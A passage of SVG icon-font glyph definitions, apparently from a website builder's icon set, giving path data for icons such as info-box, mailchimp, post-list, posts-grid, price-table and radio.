<glyph glyph-name="image-rollover" unicode="&#xe838;" d="M125 621c0-58 47-104 104-104s104 46 104 104-46 104-104 104-104-47-104-104z m167 0c0-35-28-63-63-63s-62 28-62 63 28 62 62 62 63-28 63-62z m687 229h-958c-12 0-21-9-21-21v-708c0-12 9-21 21-21h458c12 0 21 9 21 21s-9 21-21 21h-437v15l149 262 127-145c4-5 11-8 17-7 7 0 13 4 16 10l104 166c6 10 3 23-6 29-10 6-23 3-29-7l-89-143-128 146c-4 5-11 8-18 7-6-1-12-5-16-10l-127-224v567h916v-562c0-12 10-21 21-21s21 9 21 21v583c0 12-9 21-21 21z m-402-298c-6 6-15 8-22 5-8-3-13-11-13-19v-578c0-7 4-15 11-18 8-4 16-3 22 2l106 83 92-166c4-7 11-11 19-11 3 0 6 1 9 2l125 63c5 2 9 7 11 12 1 6 1 11-2 16l-87 157h131c9 0 16 5 19 13 4 8 2 17-4 23l-417 416z m236-410c-8 0-15-4-18-11-4-6-4-14-1-20l94-169-88-44-94 170c-3 6-8 10-14 11-2 0-3 0-4 0-5 0-10-1-13-4l-92-72v484l346-345h-116z" horiz-adv-x="1000" />

<glyph glyph-name="info-box" unicode="&#xe839;" d="M854 850h-708c-12 0-21-9-21-21v-458c0 0 0 0 0 0v-500c0-12 9-21 21-21h708c12 0 21 9 21 21v958c0 12-9 21-21 21z m-21-42v-377l-192 244c-3 5-9 8-15 8-6 1-12-2-16-7l-155-172-110 70c-9 5-19 4-26-3l-152-150v387h666z m-22-416h-614l139 138 111-71c9-5 20-4 27 4l150 167 187-238z m-644-500v458h666v-458h-666z m562 375h-458c-12 0-21-10-21-21s9-21 21-21h458c12 0 21 9 21 21s-9 21-21 21z m-83-167h-292c-11 0-21-9-21-21v-83c0-12 10-21 21-21h292c11 0 21 9 21 21v83c0 12-10 21-21 21z m-21-83h-250v41h250v-41z m-292 583c46 0 84 37 84 83s-38 84-84 84-83-38-83-84 37-83 83-83z m0 125c23 0 42-19 42-42s-19-41-42-41-41 18-41 41 18 42 41 42z" horiz-adv-x="1000" />

<glyph glyph-name="inner-section" unicode="&#xe83a;" d="M979 850h-958c-12 0-21-9-21-21v-958c0-12 9-21 21-21h958c12 0 21 9 21 21v958c0 12-9 21-21 21z m-521-500h500v-208h-500v208z m500 42h-250v416h250v-416z m-291 416v-416h-625v416h625z m-625-458h375v-458h-375v458z m416-458v208h500v-208h-500z" horiz-adv-x="1000" />

<glyph glyph-name="mailchimp" unicode="&#xe83b;" d="M917 175v21c8 10 21 28 21 50 0 31-63 96-105 118v90c0 35-18 80-42 115 22 19 84 80 84 135 0 87-64 104-167 104-25 0-57-7-94-20-16 20-54 62-93 62-46 0-198-44-307-152-105-105-172-239-172-285 0-35 35-70 56-89-9-17-15-36-15-57 0-71 60-129 131-125 57-175 200-292 359-292 96 0 188 44 258 118 1 2 3 3 4 5 25 27 47 59 66 94 21 7 57 23 57 54 0 26-25 45-41 54z m-21 71c0-9-7-18-12-23-24-8-135-40-196-40-12 0-23 1-33 1-46 1-80 1-99-18-10-9-14-21-14-39-1-15-1-38 19-58 22-23 63-33 128-33 69 0 120 7 154 14-12-17-25-33-38-48-16-7-74-27-159-27-92 0-167 91-167 167 0 64 81 101 90 105 28 2 66 18 109 38 46 20 97 43 132 44 27-10 82-68 86-83z m-104 208v-86c-8-1-15-2-22-4 0 2 1 5 1 7v21c0 11-9 21-21 21s-21-10-21-21v-21c0-7 4-13 9-16-25-9-51-21-77-32-9-4-18-9-27-12 7 3 12 10 12 18v21c0 12-9 21-21 21s-21-9-21-21v-21c0-11 10-21 21-21 3 0 5 1 7 2-27-12-51-21-67-22-17 7-86 36-86 83 0 31 8 83 63 83 23 0 46-5 68-11 19-5 38-10 57-10 27 0 52 18 69 31 6 5 14 10 14 11l6 0c9 0 25 1 31-5 3-3 5-8 5-16z m41 250c0-31-40-77-69-103-9 8-18 15-27 18-43 19-270 94-484-236-10 4-21 6-32 8 119 230 382 376 487 376 125 0 125-31 125-63z m-750-291c0 27 57 151 161 256 97 96 239 139 277 139 14 0 36-18 52-36-137-62-313-197-401-386-19-6-35-15-49-28-19 17-40 41-40 55z m172-262c5 2 11 5 16 8 10 6 13 19 8 28-6 10-19 14-29 8-13-8-27-12-42-12-46 0-83 38-83 84s37 83 83 83c15 0 29-4 42-12 10-5 22-2 28 7 200 320 404 253 443 236 16-7 37-34 52-65-7 1-13 1-18 1l-5 0c-13 0-24-9-39-19-13-10-30-23-44-23-14 0-30 4-47 9-23 5-49 12-78 12-51 0-104-33-104-125 0-52 44-87 78-106-34-22-78-63-78-123 0-97 91-209 208-209 33 0 61 3 86 7-49-31-103-48-159-48-140 0-266 103-318 259z m626-46c0 0-1-1-1-1-1 0-1 0-2 0-1-1-62-27-189-27-65 0-89 12-99 21-6 7-7 15-7 28 0 0 0 4 0 4 0 3 1 5 2 6 7 7 40 7 69 6 11 0 22 0 34 0 55 0 143 22 187 34v-13c0-9 5-16 13-20 15-6 28-18 29-20-3-5-20-14-36-18z" horiz-adv-x="1000" />

<glyph glyph-name="menu-card" unicode="&#xe83c;" d="M750 725h-62v104c0 7-4 13-9 17-5 4-12 5-18 3l-417-125c0 0-1 0-1 0-1-1-3-2-4-2-1-1-2-2-3-2-1-1-2-3-2-4-1-1-2-2-3-3 0-1 0-2-1-4 0-1 0-2-1-4 0 0 0 0 0-1v-833c0-12 10-21 21-21h500c12 0 21 9 21 21v833c0 12-9 21-21 21z m-104 0h-254l254 76v-76z m83-833h-458v791h458v-791z m-229 416c-11 0-21-9-21-20v-42c0-36-10-51-21-57v99c0 11-9 20-20 20s-21-9-21-20v-99c-11 6-21 21-21 57v42c0 11-9 20-21 20s-21-9-21-20v-42c0-56 23-92 63-102v-148c0-12 9-21 21-21s20 9 20 21v148c40 10 63 46 63 102v42c0 11-9 20-21 20z m125 0c-26 0-50-23-69-70-13-32-22-72-22-98 0-37 22-40 29-40h41v-104c0-12 10-21 21-21s21 9 21 21v292c0 11-9 20-21 20z m-21-166h-28c0 21 11 68 28 100v-100z m21 333h-250c-11 0-21-9-21-21s10-21 21-21h250c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="navigation-horizontal" unicode="&#xe83d;" d="M125 454c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m375 166c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m375 166c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z" horiz-adv-x="1000" />

<glyph glyph-name="nav-menu" unicode="&#xe83e;" d="M958 683h-291-334-291c-12 0-21-9-21-20v-125c0-12 9-21 21-21h271v-479c0-12 9-21 20-21h417c12 0 21 9 21 21v479h187c12 0 21 9 21 21v125c0 11-9 20-21 20z m-312-125h-292v84h292v-84z m-583 84h250v-84h-250v84z m666-584h-375v459h313 62v-459z m209 500h-188-62v84h250v-84z m-521-125c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20h-250z m250-125h-250c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20z m0-125h-250c-12 0-21-9-21-20s9-21 21-21h250c11 0 21 9 21 21s-10 20-21 20z" horiz-adv-x="1000" />

<glyph glyph-name="navigation-vertical" unicode="&#xe83f;" d="M500 621c58 0 104 47 104 104s-46 104-104 104-104-47-104-104 47-104 104-104z m0 167c35 0 63-28 63-63s-28-62-63-62-62 28-62 62 28 63 62 63z m0-334c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-166c-34 0-62 28-62 62s28 63 62 63 63-28 63-63-28-62-63-62z m0-209c-57 0-104-47-104-104s47-104 104-104 104 47 104 104-46 104-104 104z m0-167c-34 0-62 28-62 63s28 63 62 63 63-28 63-63-28-63-63-63z" horiz-adv-x="1000" />

<glyph glyph-name="number-field" unicode="&#xe840;" d="M938 663h-875c-35 0-63-28-63-63v-500c0-34 28-62 63-62h875c34 0 62 28 62 62v500c0 35-28 63-62 63z m20-563c0-11-9-21-20-21h-875c-12 0-21 10-21 21v500c0 12 9 21 21 21h875c11 0 20-9 20-21v-500z m-723 437c-8 2-18-1-23-9l-83-125c-7-9-4-22 5-29 10-6 23-3 29 6l45 68v-265c0-11 10-20 21-20s21 9 21 20v334c0 9-6 17-15 20z m203 1c-58 0-105-47-105-105 0-11 10-20 21-20s21 9 21 20c0 35 28 63 63 63s62-28 62-63v-12c0-14-5-28-14-39l-148-186c-5-6-6-14-3-22 4-7 11-11 19-11h167c11 0 21 9 21 20s-10 21-21 21h-123l121 152c15 18 23 41 23 65v12c0 58-47 105-104 105z m395-105c0 58-46 105-104 105s-104-47-104-105c0-11 9-20 21-20s21 9 21 20c0 35 28 63 62 63s63-28 63-63-28-62-63-62c-11 0-21-9-21-21s10-21 21-21c35 0 63-28 63-62s-28-63-63-63-62 28-62 63c0 11-10 21-21 21s-21-10-21-21c0-58 47-104 104-104s104 46 104 104c0 34-16 64-41 83 25 19 41 49 41 83z" horiz-adv-x="1000" />

<glyph glyph-name="parallax" unicode="&#xe841;" d="M1000 350c0 7-4 14-10 18l-120 68 119 62c7 4 11 11 11 19s-4 15-11 18l-479 250c-6 3-13 3-20 0l-479-250c-7-3-11-10-11-18 0-8 4-15 11-19l119-62-119-68c-7-4-11-11-11-18 0-8 5-15 11-18l119-62-119-68c-7-4-11-11-11-19 0-8 5-15 11-18l479-250c3-2 7-3 10-3s7 1 10 3l479 250c7 3 11 10 11 18s-4 15-10 18l-120 69 119 62c7 3 11 10 11 18z m-500 393l434-226-434-227-434 227 434 226z m436-559l-436-227-436 227 110 63 316-165c3-2 7-3 10-3s7 1 10 3l316 165 110-63z m-436-60l-436 227 110 62 316-165c3-1 7-2 10-2s7 1 10 2l316 165 110-62-436-227z" horiz-adv-x="1000" />

<glyph glyph-name="php7" unicode="&#xe842;" d="M170 454h-87c-9 0-18-6-20-16l-41-166c0 0-1 0-1-1l-20-83c-3-11 4-22 15-25 2 0 3 0 5 0 9 0 18 6 20 15l17 68h85c48 0 90 32 101 79l7 26c6 25 1 51-15 71-16 21-40 32-66 32z m40-93l-6-26c-7-28-32-47-61-47h-75l32 125h70c13 0 25-6 33-16 8-11 11-24 7-36z m460 93h-87c-9 0-18-6-20-16l-41-166c0 0-1 0-1-1l-20-83c-3-11 4-22 15-25 2 0 3 0 5 0 9 0 18 6 20 15l17 68h85c48 0 90 32 101 79l7 26c6 25 1 51-15 71-16 21-40 32-66 32z m40-93l-6-26c-7-28-32-47-61-47h-75l32 125h70c13 0 25-6 33-16 8-11 11-24 7-36z m-224 61c-16 21-40 32-66 32h-60l14 58c3 11-4 22-15 25-11 3-22-4-25-15l-62-250c-3-11 3-23 15-25 1-1 3-1 5-1 9 0 18 6 20 16l38 151h70c13 0 25-6 33-16 8-11 11-24 7-36l-22-89c-3-11 4-23 15-25 2-1 4-1 5-1 10 0 18 6 21 16l22 89c6 25 1 51-15 71z m512 105c-4 6-11 11-19 11h-166c-12 0-21-10-21-21s9-21 21-21h127l-145-218c-6-9-4-22 6-29 4-2 8-3 12-3 6 0 13 3 17 9l167 250c4 7 4 15 1 22z" horiz-adv-x="1000" />

<glyph glyph-name="post-list" unicode="&#xe843;" d="M271 829h-250c-12 0-21-9-21-21v-250c0-11 9-20 21-20h250c11 0 21 9 21 20v250c0 12-10 21-21 21z m-21-250h-208v209h208v-209z m146 84h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m0 83h250c11 0 21 9 21 21s-10 21-21 21h-250c-12 0-21-10-21-21s9-21 21-21z m583-125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m-708-125h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m729 125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m-583 42h250c11 0 21 9 21 20s-10 21-21 21h-250c-12 0-21-9-21-21s9-20 21-20z m583-125h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-708-125h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-251h-208v209h208v-209z m729 126h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-583 41h250c11 0 21 10 21 21s-10 21-21 21h-250c-12 0-21-9-21-21s9-21 21-21z m583-125h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="post-slider" unicode="&#xe844;" d="M813 621h-625c-12 0-21-9-21-21v-500c0-11 9-21 21-21h625c11 0 20 10 20 21v500c0 12-9 21-20 21z m-21-500h-584v458h584v-458z m-521 42h167c11 0 20 9 20 20s-9 21-20 21h-167c-12 0-21-9-21-21 0-11 9-20 21-20z m0 83h458c12 0 21 9 21 21s-9 21-21 21h-458c-12 0-21-10-21-21s9-21 21-21z m0 83h458c12 0 21 10 21 21s-9 21-21 21h-458c-12 0-21-9-21-21s9-21 21-21z m-152 119c-8 8-21 8-29 0l-84-83c-8-8-8-22 0-30l84-83c4-4 9-6 14-6s11 2 15 6c8 8 8 21 0 29l-69 69 69 69c8 8 8 21 0 29z m875-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-69c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l83 83c8 8 8 22 0 30z" horiz-adv-x="1000" />

<glyph glyph-name="post" unicode="&#xe845;" d="M998 467c1 3 2 5 2 8 0 76-43 156-131 244s-168 131-244 131c-3 0-5-1-8-2-2 0-4-2-6-3 0-1 0-1-1-1l0 0c0 0 0 0 0 0-53-53-83-130-66-212l-150-150c-57 34-185 44-263-34-69-69 30-202 131-306l-256-257c-8-8-8-21 0-29 4-4 10-6 15-6s11 2 15 6l256 256c80-78 177-154 249-154 22 0 41 7 57 23 78 78 68 205 34 263l150 150c15-3 31-5 46-5 64 0 123 28 166 71 1 1 2 3 2 4 1 1 2 2 2 3z m-42 32c-50 12-131 56-191 116-60 60-104 141-116 191 58-9 121-47 191-117 69-69 108-132 116-190z m-387-488c-36-36-137 20-263 145-125 126-181 227-145 263 65 65 168 51 208 29-10-32 5-85 75-154 57-57 102-78 135-78 7 0 13 1 19 3 22-40 36-143-29-208z m21 250c0 0 0 0-1 0 0 0 0 0 0 0-8-9-49-5-116 62-67 67-71 108-62 116l147 148c15-35 38-71 73-106 35-35 71-58 106-73l-147-147z m71 250c-102 101-93 202-48 270 18-61 66-139 122-196 57-56 135-104 197-122-69-45-170-54-271 48z" horiz-adv-x="1000" />

<glyph glyph-name="posts-carousel" unicode="&#xe846;" d="M119 427c-8 8-21 8-29 0l-84-83c-8-8-8-21 0-30l84-83c4-4 9-6 14-6s11 2 15 6c8 8 8 22 0 30l-69 68 69 69c8 8 8 21 0 29z m875-83l-83 83c-8 8-22 8-30 0s-8-21 0-29l69-69-69-68c-8-9-8-22 0-30 4-4 10-6 15-6s11 2 15 6l83 83c8 9 8 22 0 30z m-681 173h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m271 125h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m271 125h-125c-12 0-21-10-21-21v-125c0-12 9-21 21-21h125c11 0 20 9 20 21v125c0 11-9 21-20 21z m-21-125h-84v83h84v-83z m-479-84h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m250 0h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m250 0h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20z m-542-83h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z m250 0h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z m250 0h-83c-12 0-21-9-21-21s9-21 21-21h83c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-grid" unicode="&#xe847;" d="M292 767h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 20-21 20h-167c-11 0-20-9-20-20s9-21 20-21h167z m375 375h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 20-21 20h-166c-12 0-21-9-21-20s9-21 21-21h166z m375 375h-250c-11 0-20-10-20-21v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-20-250h-209v208h209v-208z m-21-125c11 0 21 9 21 21s-10 20-21 20h-167c-11 0-21-9-21-20s10-21 21-21h167z m-625-84h-250c-12 0-21-9-21-20v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 20-21 20z m-21-250h-208v209h208v-209z m-21-83h-167c-11 0-20-9-20-21s9-21 20-21h167c12 0 21 10 21 21s-9 21-21 21z m375 333h-250c-11 0-21-9-21-20v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-21-250h-208v209h208v-209z m-21-83h-166c-12 0-21-9-21-21s9-21 21-21h166c12 0 21 10 21 21s-9 21-21 21z m375 333h-250c-11 0-20-9-20-20v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-20-250h-209v209h209v-209z m-21-83h-167c-11 0-21-9-21-21s10-21 21-21h167c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-group" unicode="&#xe848;" d="M979 767h-250c-11 0-21-10-21-21v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 21-21 21z m-21-250h-208v208h208v-208z m-20-125c11 0 20 9 20 21s-9 20-20 20h-167c-12 0-21-9-21-20s9-21 21-21h167z m41-84h-250c-11 0-21-9-21-20v-250c0-12 10-21 21-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-21-250h-208v209h208v-209z m-20-83h-167c-12 0-21-9-21-21s9-21 21-21h167c11 0 20 10 20 21s-9 21-20 21z m-292 792h-625c-12 0-21-10-21-21v-792c0-11 9-21 21-21h625c11 0 21 10 21 21v792c0 11-10 21-21 21z m-21-792h-583v750h583v-750z m-479 83h250c11 0 21 10 21 21s-10 21-21 21h-250c-12 0-21-9-21-21s9-21 21-21z m0 125h375c11 0 21 10 21 21s-10 21-21 21h-375c-12 0-21-9-21-21s9-21 21-21z m0 125h375c11 0 21 10 21 21s-10 21-21 21h-375c-12 0-21-9-21-21s9-21 21-21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-justified" unicode="&#xe849;" d="M21 600h208c12 0 21 9 21 21v208c0 12-9 21-21 21h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h166v-166h-166v166z m271-208h375c11 0 20 9 20 21v208c0 12-9 21-20 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m20 208h334v-166h-334v166z m646 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-895-84c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21s-9 20-20 20h-125z m520-20c0 11-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 20 9 20 21z m355-21c11 0 20 9 20 21s-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125z m-459-292h209c11 0 20 9 20 21v208c0 12-9 21-20 21h-209c-11 0-21-9-21-21v-208c0-12 10-21 21-21z m21 208h167v-166h-167v166z m-479-208h375c11 0 21 9 21 21v208c0 12-10 21-21 21h-375c-12 0-21-9-21-21v-208c0-12 9-21 21-21z m21 208h333v-166h-333v166z m937 42h-208c-12 0-21-9-21-21v-208c0-12 9-21 21-21h208c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-166v166h166v-166z m-312-84h-125c-12 0-21-9-21-20s9-21 21-21h125c11 0 21 9 21 21s-10 20-21 20z m-500 0c-12 0-21-9-21-20s9-21 21-21h125c11 0 21 9 21 21s-10 20-21 20h-125z m792-41c11 0 20 9 20 21s-9 20-20 20h-125c-12 0-21-9-21-20s9-21 21-21h125z m-750-42h-167c-12 0-21-9-21-21v-208c0-12 9-21 21-21h167c11 0 20 9 20 21v208c0 12-9 21-20 21z m-21-208h-125v166h125v-166z m437 208h-333c-12 0-21-9-21-21v-208c0-12 9-21 21-21h333c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-291v166h291v-166z m396 208h-291c-12 0-21-9-21-21v-208c0-12 9-21 21-21h291c12 0 21 9 21 21v208c0 12-9 21-21 21z m-21-208h-250v166h250v-166z" horiz-adv-x="1000" />

<glyph glyph-name="posts-masonry" unicode="&#xe84a;" d="M292 850h-250c-12 0-21-9-21-21v-250c0-11 9-21 21-21h250c11 0 21 10 21 21v250c0 12-10 21-21 21z m-21-250h-208v208h208v-208z m-21-125c12 0 21 9 21 21s-9 21-21 21h-167c-11 0-20-10-20-21s9-21 20-21h167z m375 375h-250c-11 0-21-9-21-21v-416c0-12 10-21 21-21h250c12 0 21 9 21 21v416c0 12-9 21-21 21z m-21-417h-208v375h208v-375z m-21-125c12 0 21 10 21 21s-9 21-21 21h-166c-12 0-21-9-21-21s9-21 21-21h166z m375 542h-250c-11 0-20-9-20-21v-333c0-12 9-21 20-21h250c12 0 21 9 21 21v333c0 12-9 21-21 21z m-20-333h-209v291h209v-291z m-21-125c11 0 21 9 21 21s-10 20-21 20h-167c-11 0-21-9-21-20s10-21 21-21h167z m-625 0h-250c-12 0-21-10-21-21v-250c0-12 9-21 21-21h250c11 0 21 9 21 21v250c0 11-10 21-21 21z m-21-250h-208v208h208v-208z m-21-84h-167c-11 0-20-9-20-20s9-21 20-21h167c12 0 21 9 21 21s-9 20-21 20z m375 167h-250c-11 0-21-9-21-21v-250c0-11 10-21 21-21h250c12 0 21 10 21 21v250c0 12-9 21-21 21z m-21-250h-208v208h208v-208z m-21-83h-166c-12 0-21-10-21-21s9-21 21-21h166c12 0 21 9 21 21s-9 21-21 21z m375 416h-250c-11 0-20-9-20-20v-250c0-12 9-21 20-21h250c12 0 21 9 21 21v250c0 11-9 20-21 20z m-20-250h-209v209h209v-209z m-21-83h-167c-11 0-21-9-21-21s10-21 21-21h167c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="posts-ticker" unicode="&#xe84b;" d="M471 788c-41 0-75-18-97-51-2-3-4-7-6-10-1-1-2-2-2-3l-5-9c0-1 0-2-1-3l-126-264-171-109c-40-25-63-68-63-114v-7c0-42 19-80 51-106 24-20 54-29 84-29 21 0 41 5 60 14l83-15 40-81c14-28 39-48 69-57l107-31c2 0 4-1 6-1 4 0 8 1 11 3 5 4 8 8 9 14l4 20c11 55-19 108-71 126l-46 125 266-36c1 0 1 0 2 0l10-1c1 0 3 0 4 0 2 0 4 0 6 0 42 0 75 17 98 50 41 59 39 160-3 270-65 171-205 305-319 305z m-394-643c-22 17-35 44-35 73v7c0 32 16 61 43 79l145 92c5-67 25-136 98-174l-146-85c-33-19-75-16-105 8z m356-107c35-9 57-43 51-78l-86 24c-19 5-34 18-43 36l-45 89c-3 6-8 10-14 12l-44 8 112 66 54-144c2-6 8-11 15-13z m-53 207c-94 28-109 104-109 184l75 157c4-37 14-77 30-118 39-102 105-190 175-245l-171 22z m379-8c-15-22-36-33-64-33-5 0-10 1-16 2l-3 0c-91 15-207 136-261 277-32 83-38 161-17 211l0 1c3 7 6 13 10 19 15 21 36 32 63 32 94 0 222-128 280-278 37-96 40-184 8-231z m-187 338c-32 9-66 4-95-14-9-6-13-18-7-28 6-10 19-13 29-7 19 11 41 14 63 9 22-5 40-19 51-38 12-19 15-41 10-63-6-22-19-40-38-51-10-6-13-19-8-29 4-6 11-10 18-10 4 0 8 1 11 3 29 17 49 44 57 77 8 32 3 66-14 94-17 29-45 49-77 57z m221-3c3-8 11-14 20-14 2 0 4 1 7 2l167 62c10 4 16 16 12 27-4 11-16 16-27 12l-167-62c-11-4-16-16-12-27z m-22 91c5 0 11 2 15 6l83 83c8 8 8 21 0 29s-21 9-30 0l-83-83c-8-8-8-21 0-29 4-4 10-6 15-6z m208-167h-125c-11 0-21-9-21-21s10-21 21-21h125c12 0 21 10 21 21s-9 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="price-list" unicode="&#xe84c;" d="M646-25h-521v583h229c12 0 21 10 21 21v229h417v-562c0-12 9-21 21-21s20 9 20 21v583c0 12-9 21-20 21h-459c-3 0-5-1-8-2-1 0-1-1-2-1-2-1-3-2-5-3l-250-250c0-1-1-2-2-3-1-2-1-2-2-4-1-2-2-5-2-8v-625c0-11 10-21 21-21h542c11 0 21 10 21 21s-10 21-21 21z m-491 625l178 179v-179h-178z m762-635c0 47-51 63-84 69v64c24-5 41-17 42-28 1-11 12-19 23-19 11 2 20 12 19 23-4 34-38 60-84 66v23c0 11-9 20-20 20s-21-9-21-20v-23c-48-6-84-35-84-71 0-48 51-63 84-70v-63c-24 4-41 16-42 27-1 12-12 20-23 19-11-1-20-11-18-23 3-33 37-60 83-66v-22c0-12 9-21 21-21s20 9 20 21v22c49 7 84 36 84 72z m-167 104c0 11 17 24 42 29v-56c-34 8-42 19-42 27z m83-134v57c34-8 42-19 42-27 0-12-17-25-42-30z m-562 540c-35 0-63-28-63-62s28-63 63-63 62 28 62 63-28 62-62 62z m0-83c-12 0-21 9-21 21s9 20 21 20 21-9 21-20-10-21-21-21z m0-84c-35 0-63-28-63-62s28-63 63-63 62 28 62 63-28 62-62 62z m0-83c-12 0-21 9-21 21s9 21 21 21 21-10 21-21-10-21-21-21z m0-83c-35 0-63-28-63-63s28-62 63-62 62 28 62 62-28 63-62 63z m0-84c-12 0-21 10-21 21s9 21 21 21 21-9 21-21-10-21-21-21z m167 375c-12 0-21-9-21-20s9-21 21-21h250c11 0 20 9 20 21s-9 20-20 20h-250z m250-166h-250c-12 0-21-10-21-21s9-21 21-21h250c11 0 20 9 20 21s-9 21-20 21z m-42-167h-208c-12 0-21-9-21-21s9-21 21-21h208c11 0 21 10 21 21s-10 21-21 21z" horiz-adv-x="1000" />

<glyph glyph-name="price-table" unicode="&#xe84d;" d="M958 663h-187v62c0 12-9 21-21 21h-500c-11 0-21-9-21-21v-62h-187c-12 0-21-10-21-21v-584c0-11 9-20 21-20h187v-63c0-12 10-21 21-21h500c12 0 21 9 21 21v63h187c12 0 21 9 21 20v584c0 11-9 21-21 21z m-20-42v-83h-167v83h167z m-667 83h458v-125h-458v125z m-42-83v-83h-166v83h166z m-166-542v417h166v-417h-166z m666-83h-458v542h458v-542z m42 83v417h167v-417h-167z m-250 204v85c23-5 40-20 42-37 1-11 11-19 22-19 12 1 20 12 19 23-3 39-38 69-83 76v22c0 12-9 21-21 21s-21-9-21-21v-22c-47-8-83-42-83-82 0-39 27-65 83-79v-85c-23 6-40 20-42 37 0 11-12 20-22 19-11-1-20-11-19-23 3-38 38-68 83-75v-23c0-11 10-21 21-21s21 10 21 21v23c47 7 83 41 83 81 0 39-27 66-83 79z m-83 46c0 18 17 33 41 39v-75c-28 8-41 20-41 36z m83-164v75c28-8 42-19 42-36 0-17-18-33-42-39z" horiz-adv-x="1000" />

<glyph glyph-name="radio" unicode="&#xe84e;" d="M146 829c-81 0-146-65-146-146s65-145 146-145 146 65 146 145-66 146-146 146z m0-250c-58 0-104 47-104 104s46 105 104 105 104-47 104-105-47-104-104-104z m0-83c-81 0-146-66-146-146s65-146 146-146 146 66 146 146-66 146-146 146z m0-250c-58 0-104 47-104 104s46 104 104 104 104-47 104-104-47-104-104-104z m0-83c-81 0-146-66-146-146s65-146 146-146 146 65 146 146-66 146-146 146z m0-251c-58 0-104 47-104 105s46 104 104 104 104-47 104-104-47-105-104-105z m250 751h583c12 0 21 9 21 20s-9 21-21 21h-583c-12 0-21-9-21-21s9-20 21-20z m583-292h-583c-12 0-21-9-21-21s9-21 21-21h583c12 0 21 10 21 21s-9 21-21 21z m0-333h-583c-12 0-21-10-21-21s9-21 21-21h583c12 0 21 9 21 21s-9 21-21 21z m-833 375c-35 0-63-28-63-63s28-62 63-62 62 28 62 62-28 63-62 63z m0-84c-12 0-21 10-21 21s9 21 21 21 21-9 21-21-10-21-21-21z" horiz-adv-x="1000" />

